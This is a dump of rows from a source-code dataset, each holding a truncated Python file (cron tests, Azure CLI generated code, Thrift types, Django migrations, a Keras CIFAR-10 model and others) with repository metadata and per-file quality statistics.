] | 1 | 2019-04-22T01:23:32.000Z | 2019-04-22T01:23:32.000Z | from cron import tab
from test_helpers import assert_raises
def test_parse_entry_generic():
entry = tab.parse_entry('* * * * * cmd')
assert entry.fields[0] == [True for i in range(60)]
assert entry.fields[1] == [True for i in range(24)]
assert entry.fields[2] == [True for i in range(31)]
assert en... | 40.223404 | 74 | 0.631314 | 574 | 3,781 | 4.055749 | 0.111498 | 0.222079 | 0.226375 | 0.141753 | 0.794674 | 0.763746 | 0.739261 | 0.722079 | 0.665808 | 0.665808 | 0 | 0.0309 | 0.221106 | 3,781 | 93 | 75 | 40.655914 | 0.759593 | 0.003174 | 0 | 0.597561 | 0 | 0 | 0.050451 | 0 | 0 | 0 | 0 | 0 | 0.719512 | 1 | 0.109756 | false | 0 | 0.02439 | 0 | 0.134146 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
eecd0cb9c5177f55ed46933e21f6da00ab1b6b39 | 20,338 | py | Python | src/maintenance/azext_maintenance/generated/custom.py | haroonf/azure-cli-extensions | 61c044d34c224372f186934fa7c9313f1cd3a525 | [
"MIT"
] | 207 | 2017-11-29T06:59:41.000Z | 2022-03-31T10:00:53.000Z | src/maintenance/azext_maintenance/generated/custom.py | haroonf/azure-cli-extensions | 61c044d34c224372f186934fa7c9313f1cd3a525 | [
"MIT"
] | 4,061 | 2017-10-27T23:19:56.000Z | 2022-03-31T23:18:30.000Z | src/maintenance/azext_maintenance/generated/custom.py | haroonf/azure-cli-extensions | 61c044d34c224372f186934fa7c9313f1cd3a525 | [
"MIT"
] | 802 | 2017-10-11T17:36:26.000Z | 2022-03-31T22:24:32.000Z | # --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incor... | 48.889423 | 102 | 0.510571 | 1,591 | 20,338 | 6.115022 | 0.062854 | 0.122109 | 0.101346 | 0.085929 | 0.955391 | 0.943468 | 0.939048 | 0.9299 | 0.906362 | 0.900915 | 0 | 0.000175 | 0.439325 | 20,338 | 415 | 103 | 49.007229 | 0.853021 | 0.024683 | 0 | 0.912921 | 0 | 0 | 0.040759 | 0.002825 | 0 | 0 | 0 | 0 | 0 | 1 | 0.067416 | false | 0 | 0 | 0.053371 | 0.134831 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
eed9f719bcd16b9d6e7a9fdb7119e21397fc6b88 | 33,479 | py | Python | 3-longest-substring-without-repeating-characters/3-longest-substring-without-repeating-characters.py | e-lin/LeetCode | 1a00e187b5ccea3bddabf93a29164bf0ad928b7d | [
"Apache-2.0"
] | null | null | null | 3-longest-substring-without-repeating-characters/3-longest-substring-without-repeating-characters.py | e-lin/LeetCode | 1a00e187b5ccea3bddabf93a29164bf0ad928b7d | [
"Apache-2.0"
] | null | null | null | 3-longest-substring-without-repeating-characters/3-longest-substring-without-repeating-characters.py | e-lin/LeetCode | 1a00e187b5ccea3bddabf93a29164bf0ad928b7d | [
"Apache-2.0"
] | null | null | null | # solution reference:
# https://segmentfault.com/a/1190000005773195
class Solution(object):
########## Time Limit Exceeded ##########
# def lengthOfLongestSubstring(self, s):
# """
# :type s: str
# :rtype: int
# """
# string = list(s)
# max_sequexce_length = 0
... | 515.061538 | 31,663 | 0.642612 | 515 | 33,479 | 41.093204 | 0.132039 | 1.904267 | 2.847611 | 3.785097 | 0.96319 | 0.961206 | 0.961206 | 0.961206 | 0.961206 | 0.961206 | 0 | 0.101279 | 0.028824 | 33,479 | 65 | 31,664 | 515.061538 | 0.549609 | 0.021327 | 0 | 0 | 0 | 0 | 0.642404 | 0.63349 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.16 | 0 | 0 | 1 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 15 |
0101b5a7f95ea2fcf3fb432137d61fdbd978d0dd | 266 | py | Python | docs/tests/E0116.py | mrfyda/codacy-pylint-python3 | e360f6c0407edebe274835d3a881d67e96adf8ba | [
"Apache-2.0"
] | 17 | 2016-01-26T13:30:04.000Z | 2022-03-06T21:11:42.000Z | docs/tests/E0116.py | mrfyda/codacy-pylint-python3 | e360f6c0407edebe274835d3a881d67e96adf8ba | [
"Apache-2.0"
] | 19 | 2016-01-05T20:56:26.000Z | 2020-07-17T12:04:13.000Z | docs/tests/E0116.py | mrfyda/codacy-pylint-python3 | e360f6c0407edebe274835d3a881d67e96adf8ba | [
"Apache-2.0"
] | 15 | 2015-11-18T12:18:50.000Z | 2021-01-17T22:21:41.000Z | ##Patterns: E0116
while True:
try:
pass
finally:
##Err: E0116
continue
while True:
try:
pass
finally:
break
while True:
try:
pass
except Exception:
pass
else:
continue
| 11.565217 | 21 | 0.477444 | 25 | 266 | 5.08 | 0.52 | 0.212598 | 0.283465 | 0.377953 | 0.362205 | 0 | 0 | 0 | 0 | 0 | 0 | 0.055944 | 0.462406 | 266 | 23 | 22 | 11.565217 | 0.832168 | 0.093985 | 0 | 0.823529 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.235294 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
0131fc8877620326b726eeb00d76ef8cd024b301 | 4,289 | py | Python | tests/stubs/models/domain/sample.py | PSE-TECO-2020-TEAM1/e2e-ml_model-management | 7f01a008648e25a29c639a5e16124b2e399eb821 | [
"MIT"
] | 1 | 2021-05-04T08:46:19.000Z | 2021-05-04T08:46:19.000Z | tests/stubs/models/domain/sample.py | PSE-TECO-2020-TEAM1/e2e-ml_model-management | 7f01a008648e25a29c639a5e16124b2e399eb821 | [
"MIT"
] | null | null | null | tests/stubs/models/domain/sample.py | PSE-TECO-2020-TEAM1/e2e-ml_model-management | 7f01a008648e25a29c639a5e16124b2e399eb821 | [
"MIT"
] | 1 | 2022-01-28T21:21:32.000Z | 2022-01-28T21:21:32.000Z | from typing import Dict, List
from pandas.core.frame import DataFrame
from app.models.domain.sensor import SensorComponent
from app.models.domain.sample import InterpolatedSample
from app.core.config import LABEL_OUTSIDE_OF_TIMEFRAMES
# TODO replace values with better ones
sample_stub_1: List[Dict[SensorComponent, fl... | 44.677083 | 76 | 0.660294 | 650 | 4,289 | 4.084615 | 0.072308 | 0.085876 | 0.322034 | 0.114501 | 0.8629 | 0.789077 | 0.773258 | 0.773258 | 0.742373 | 0.742373 | 0 | 0.071249 | 0.16554 | 4,289 | 95 | 77 | 45.147368 | 0.670578 | 0.01702 | 0 | 0.575 | 0 | 0 | 0.372893 | 0 | 0 | 0 | 0 | 0.010526 | 0 | 1 | 0.0625 | true | 0 | 0.0625 | 0.0625 | 0.1875 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
6d7634f2d6df289051cf3768966509c3e13319da | 186 | py | Python | table/urls.py | lizKimita/Restaurants-Transactions | c021ccb5eeb0ff1d1fe1043696912ff58260a196 | [
"MIT"
] | null | null | null | table/urls.py | lizKimita/Restaurants-Transactions | c021ccb5eeb0ff1d1fe1043696912ff58260a196 | [
"MIT"
] | 2 | 2021-03-19T02:03:25.000Z | 2021-09-08T01:08:38.000Z | table/urls.py | lizKimita/Restaurants-Transactions | c021ccb5eeb0ff1d1fe1043696912ff58260a196 | [
"MIT"
] | null | null | null | from django.conf.urls import url
from . import views
from django.conf import settings
from django.conf.urls.static import static
urlpatterns=[
url('^$',views.home,name = 'home'),
] | 20.666667 | 42 | 0.736559 | 27 | 186 | 5.074074 | 0.444444 | 0.218978 | 0.306569 | 0.262774 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.139785 | 186 | 9 | 43 | 20.666667 | 0.85625 | 0 | 0 | 0 | 0 | 0 | 0.032086 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.571429 | 0 | 0.571429 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
6da071c8364905c5694429fbac8337c7ccbae45f | 37,873 | py | Python | sdk/python/pulumi_alicloud/oos/execution.py | pulumi/pulumi-alicloud | 9c34d84b4588a7c885c6bec1f03b5016e5a41683 | [
"ECL-2.0",
"Apache-2.0"
] | 42 | 2019-03-18T06:34:37.000Z | 2022-03-24T07:08:57.000Z | sdk/python/pulumi_alicloud/oos/execution.py | pulumi/pulumi-alicloud | 9c34d84b4588a7c885c6bec1f03b5016e5a41683 | [
"ECL-2.0",
"Apache-2.0"
] | 152 | 2019-04-15T21:03:44.000Z | 2022-03-29T18:00:57.000Z | sdk/python/pulumi_alicloud/oos/execution.py | pulumi/pulumi-alicloud | 9c34d84b4588a7c885c6bec1f03b5016e5a41683 | [
"ECL-2.0",
"Apache-2.0"
] | 3 | 2020-08-26T17:30:07.000Z | 2021-07-05T01:37:45.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import... | 39.246632 | 210 | 0.616138 | 4,317 | 37,873 | 5.177901 | 0.054899 | 0.094976 | 0.115868 | 0.120073 | 0.8861 | 0.858364 | 0.822529 | 0.808929 | 0.798193 | 0.74424 | 0 | 0.001411 | 0.269981 | 37,873 | 964 | 211 | 39.287344 | 0.807075 | 0.31001 | 0 | 0.680688 | 1 | 0 | 0.095513 | 0.001308 | 0 | 0 | 0 | 0 | 0 | 1 | 0.16826 | false | 0.001912 | 0.00956 | 0 | 0.282983 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
098894f0631aa2972d36336850941f5b5b382168 | 15,644 | py | Python | Framework/LanguageSupport/thrift/gen-py/MMIStandard/math/ttypes.py | FG-92/MOSIM_Core | abc32fd0d2213859b11b6d41193d5d7f760e4104 | [
"MIT"
] | 19 | 2020-11-30T09:29:11.000Z | 2021-12-10T06:10:11.000Z | Framework/LanguageSupport/thrift/gen-py/MMIStandard/math/ttypes.py | FG-92/MOSIM_Core | abc32fd0d2213859b11b6d41193d5d7f760e4104 | [
"MIT"
] | null | null | null | Framework/LanguageSupport/thrift/gen-py/MMIStandard/math/ttypes.py | FG-92/MOSIM_Core | abc32fd0d2213859b11b6d41193d5d7f760e4104 | [
"MIT"
] | 6 | 2021-01-20T01:46:37.000Z | 2021-09-28T10:22:14.000Z | #
# Autogenerated by Thrift Compiler (0.13.0)
#
# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
#
# options string: py
#
from thrift.Thrift import TType, TMessageType, TFrozenDict, TException, TApplicationException
from thrift.protocol.TProtocol import TProtocolException
from thrift.TRecursive impo... | 33.214437 | 134 | 0.550435 | 1,749 | 15,644 | 4.737564 | 0.081761 | 0.020517 | 0.03693 | 0.041274 | 0.804248 | 0.768284 | 0.755008 | 0.727371 | 0.725199 | 0.710838 | 0 | 0.009369 | 0.338213 | 15,644 | 470 | 135 | 33.285106 | 0.790978 | 0.020455 | 0 | 0.75266 | 1 | 0 | 0.035747 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.093085 | false | 0 | 0.013298 | 0.029255 | 0.199468 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
098bff92b6e74a5e84a4f17bb1fbe34df3fe701e | 7,597 | py | Python | pysteps/tests/test_timeseries_autoregression.py | AFansGH/pysteps | ee5cd10ed9058808f934cb1992913055fbcbb3d2 | [
"BSD-3-Clause"
] | null | null | null | pysteps/tests/test_timeseries_autoregression.py | AFansGH/pysteps | ee5cd10ed9058808f934cb1992913055fbcbb3d2 | [
"BSD-3-Clause"
] | null | null | null | pysteps/tests/test_timeseries_autoregression.py | AFansGH/pysteps | ee5cd10ed9058808f934cb1992913055fbcbb3d2 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
import os
import numpy as np
import pytest
import pysteps
from pysteps.timeseries import autoregression, correlation
pytest.importorskip("pyproj")
def test_estimate_ar_params_ols():
R = _create_data_univariate()
for p in range(1, 4):
phi = autoregression.estimate_ar_params... | 30.882114 | 84 | 0.601817 | 1,082 | 7,597 | 3.993531 | 0.085952 | 0.044434 | 0.115714 | 0.048137 | 0.94492 | 0.938209 | 0.905577 | 0.896089 | 0.886832 | 0.886832 | 0 | 0.049778 | 0.259576 | 7,597 | 245 | 85 | 31.008163 | 0.7184 | 0.002764 | 0 | 0.744565 | 0 | 0 | 0.083443 | 0.075257 | 0 | 0 | 0 | 0 | 0.211957 | 1 | 0.076087 | false | 0 | 0.043478 | 0 | 0.130435 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
09bfa65805bb7a51c8cbfc79352924c445870a7c | 6,332 | py | Python | trilateration/compute/test_tdoa.py | robinroyer/trilateration | 9a8d1388f6ba03f72537defbddb3e984826a640e | [
"Apache-2.0"
] | 3 | 2018-12-18T00:15:12.000Z | 2020-11-02T02:44:22.000Z | trilateration/compute/test_tdoa.py | robinroyer/trilateration | 9a8d1388f6ba03f72537defbddb3e984826a640e | [
"Apache-2.0"
] | 2 | 2020-11-02T02:44:17.000Z | 2020-11-23T05:05:45.000Z | trilateration/compute/test_tdoa.py | robinroyer/trilateration | 9a8d1388f6ba03f72537defbddb3e984826a640e | [
"Apache-2.0"
] | 3 | 2019-05-06T04:49:16.000Z | 2021-09-12T11:59:39.000Z | import unittest
import time
import datetime
from tdoa import tdoa
from ..model.point import point
from ..model.uplink import uplink
from ..model.gateway import gateway
from ..utils.utils import SPEED_OF_LIGHT
from ..model.projection import projection
# do not forget to use nose2 at root to run test
class Test_tdoa... | 39.329193 | 85 | 0.593335 | 856 | 6,332 | 4.33528 | 0.123832 | 0.159526 | 0.189437 | 0.19806 | 0.797898 | 0.773646 | 0.757478 | 0.757478 | 0.737537 | 0.724603 | 0 | 0.159779 | 0.228048 | 6,332 | 161 | 86 | 39.329193 | 0.599427 | 0.047378 | 0 | 0.612069 | 0 | 0 | 0.001327 | 0 | 0 | 0 | 0 | 0 | 0.112069 | 1 | 0.094828 | false | 0 | 0.077586 | 0 | 0.181034 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
61d7944106176653e5fe20003344fff5bf885357 | 24 | py | Python | tests/module.py | gflaherty/rules_pyz | 900546b12e880f272c82534cdd2423dcb109e795 | [
"Apache-2.0"
] | 26 | 2018-01-29T23:28:45.000Z | 2020-12-01T21:30:32.000Z | tests/module.py | gflaherty/rules_pyz | 900546b12e880f272c82534cdd2423dcb109e795 | [
"Apache-2.0"
] | 55 | 2020-10-29T11:39:20.000Z | 2021-05-17T06:20:30.000Z | tests/module.py | gflaherty/rules_pyz | 900546b12e880f272c82534cdd2423dcb109e795 | [
"Apache-2.0"
] | 17 | 2018-03-08T21:30:22.000Z | 2019-11-22T17:16:00.000Z | def one():
return 1
| 8 | 12 | 0.541667 | 4 | 24 | 3.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.0625 | 0.333333 | 24 | 2 | 13 | 12 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0.5 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 7 |
febe1bf4e2dd53236d378cb1436b5a3d794238d5 | 4,076 | py | Python | hyperts/tests/experiment/experimnet_cv_test.py | DataCanvasIO/HyperTS | b2560daf8f08748691e7bd9efd14cc5f881186a3 | [
"Apache-2.0"
] | 13 | 2021-11-15T08:07:54.000Z | 2022-03-27T18:21:20.000Z | hyperts/tests/experiment/experimnet_cv_test.py | DataCanvasIO/HyperTS | b2560daf8f08748691e7bd9efd14cc5f881186a3 | [
"Apache-2.0"
] | 34 | 2021-11-26T01:34:49.000Z | 2022-03-31T06:28:39.000Z | hyperts/tests/experiment/experimnet_cv_test.py | DataCanvasIO/HyperTS | b2560daf8f08748691e7bd9efd14cc5f881186a3 | [
"Apache-2.0"
] | 3 | 2021-11-15T08:07:57.000Z | 2022-03-18T07:35:49.000Z | from hyperts import make_experiment
from hyperts.datasets import load_network_traffic, load_basic_motions
from hyperts.toolbox import temporal_train_test_split, random_train_test_split
class Test_HyperTS_Cross_Validation():
def test_stats_forecast_cv(self):
df = load_network_traffic(univariate=False)
... | 38.45283 | 93 | 0.513494 | 450 | 4,076 | 4.304444 | 0.18 | 0.036138 | 0.043366 | 0.024781 | 0.88952 | 0.883841 | 0.883841 | 0.883841 | 0.883841 | 0.862158 | 0 | 0.024331 | 0.394995 | 4,076 | 106 | 94 | 38.45283 | 0.761152 | 0 | 0 | 0.846154 | 0 | 0 | 0.046603 | 0 | 0 | 0 | 0 | 0 | 0.025641 | 1 | 0.051282 | false | 0 | 0.038462 | 0 | 0.102564 | 0.051282 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
fee6857e518e1eeaac45aac4ab5fcfa3598fa86f | 6,438 | py | Python | CIFAR-10/source/model.py | ptl93/DeepLearning | 3e6d2a3c3a2fb724604a1c936d28288972ea431b | [
"MIT"
] | null | null | null | CIFAR-10/source/model.py | ptl93/DeepLearning | 3e6d2a3c3a2fb724604a1c936d28288972ea431b | [
"MIT"
] | null | null | null | CIFAR-10/source/model.py | ptl93/DeepLearning | 3e6d2a3c3a2fb724604a1c936d28288972ea431b | [
"MIT"
] | 1 | 2022-02-09T14:42:44.000Z | 2022-02-09T14:42:44.000Z | # -*- coding: utf-8 -*-
"""
Convolutional Neural Network model setup
This scripts configures a convolutional neural networking using keras and tensorflow backend
http://www.cs.utoronto.ca/~kriz/cifar.html
The CNN-Model is a modification of VGG16 Neural Network
Modifications: Less convolutional layers due to training t... | 36.579545 | 106 | 0.598012 | 784 | 6,438 | 4.831633 | 0.160714 | 0.107709 | 0.050686 | 0.067582 | 0.807022 | 0.784319 | 0.784319 | 0.784319 | 0.774023 | 0.774023 | 0 | 0.064108 | 0.214974 | 6,438 | 176 | 107 | 36.579545 | 0.685398 | 0.120068 | 0 | 0.824561 | 0 | 0 | 0.057011 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.026316 | false | 0 | 0.026316 | 0 | 0.078947 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3a766a610935a0b9f4b8bacabc2b26856853ab72 | 13,590 | py | Python | migrations/0001_initial.py | sinmaniphel/scriptus_write | 34c0fc6ea2bdc028570a6c60f1555d0bafe189e2 | [
"Apache-2.0"
] | 1 | 2016-08-03T17:09:32.000Z | 2016-08-03T17:09:32.000Z | migrations/0001_initial.py | sinmaniphel/scriptus_write | 34c0fc6ea2bdc028570a6c60f1555d0bafe189e2 | [
"Apache-2.0"
] | 1 | 2016-08-03T19:29:56.000Z | 2017-12-20T17:16:56.000Z | migrations/0001_initial.py | sinmaniphel/scriptus_write | 34c0fc6ea2bdc028570a6c60f1555d0bafe189e2 | [
"Apache-2.0"
] | null | null | null | # Generated by Django 2.0 on 2017-12-24 11:04
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Artifact',
fields=[
... | 43.83871 | 165 | 0.555261 | 1,253 | 13,590 | 5.853951 | 0.104549 | 0.03272 | 0.055351 | 0.08698 | 0.854533 | 0.82713 | 0.752693 | 0.746558 | 0.746558 | 0.746558 | 0 | 0.008896 | 0.305224 | 13,590 | 309 | 166 | 43.980583 | 0.767952 | 0.003164 | 0 | 0.692053 | 1 | 0 | 0.144703 | 0.029679 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.006623 | 0 | 0.019868 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3a94f12b91bf988dc99b4b2308210a92898746d4 | 2,384 | py | Python | tests/facts/test_abstract.py | hoh/Okonf | 26b3629b20504bc1c4ee51f054df6a59e54427ae | [
"Apache-2.0"
] | 1 | 2018-03-20T14:55:41.000Z | 2018-03-20T14:55:41.000Z | tests/facts/test_abstract.py | hoh/Okonf | 26b3629b20504bc1c4ee51f054df6a59e54427ae | [
"Apache-2.0"
] | null | null | null | tests/facts/test_abstract.py | hoh/Okonf | 26b3629b20504bc1c4ee51f054df6a59e54427ae | [
"Apache-2.0"
] | null | null | null | import os
import pytest
from okonf import Collection, Sequence
from okonf.connectors.local import LocalHost
from okonf.facts.files import FilePresent
@pytest.mark.asyncio
async def test_Collection():
async with LocalHost() as host:
filename1 = '/tmp/filename1'
filename2 = '/tmp/filename2'
... | 28.722892 | 76 | 0.57802 | 247 | 2,384 | 5.530364 | 0.161943 | 0.052709 | 0.105417 | 0.105417 | 0.879941 | 0.879941 | 0.837482 | 0.837482 | 0.837482 | 0.837482 | 0 | 0.014652 | 0.312919 | 2,384 | 82 | 77 | 29.073171 | 0.819292 | 0 | 0 | 0.822581 | 0 | 0 | 0.062081 | 0 | 0 | 0 | 0 | 0 | 0.322581 | 1 | 0 | false | 0 | 0.080645 | 0 | 0.080645 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
c93958bdc6f6e25f3eac05e29f617003b89f648a | 753 | py | Python | build/disco_f407vg/USBDevice_extra_script.py | swansk/avatar-fw | 48bb98285ca1d5a102d17bc4df8bd77593c37dd4 | [
"MIT"
] | null | null | null | build/disco_f407vg/USBDevice_extra_script.py | swansk/avatar-fw | 48bb98285ca1d5a102d17bc4df8bd77593c37dd4 | [
"MIT"
] | null | null | null | build/disco_f407vg/USBDevice_extra_script.py | swansk/avatar-fw | 48bb98285ca1d5a102d17bc4df8bd77593c37dd4 | [
"MIT"
] | null | null | null | Import('env')
env.Prepend(CPPPATH=['/home/karl/.platformio/packages/framework-mbed/features/unsupported/USBDevice', '/home/karl/.platformio/packages/framework-mbed/features/unsupported/USBDevice/USBAudio', '/home/karl/.platformio/packages/framework-mbed/features/unsupported/USBDevice/USBDevice', '/home/karl/.platformio... | 376.5 | 739 | 0.828685 | 86 | 753 | 7.244186 | 0.244186 | 0.102729 | 0.23114 | 0.333868 | 0.874799 | 0.874799 | 0.874799 | 0.874799 | 0.874799 | 0.243981 | 0 | 0 | 0.010624 | 753 | 2 | 739 | 376.5 | 0.836242 | 0 | 0 | 0 | 0 | 0.5 | 0.913793 | 0.909814 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 14 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.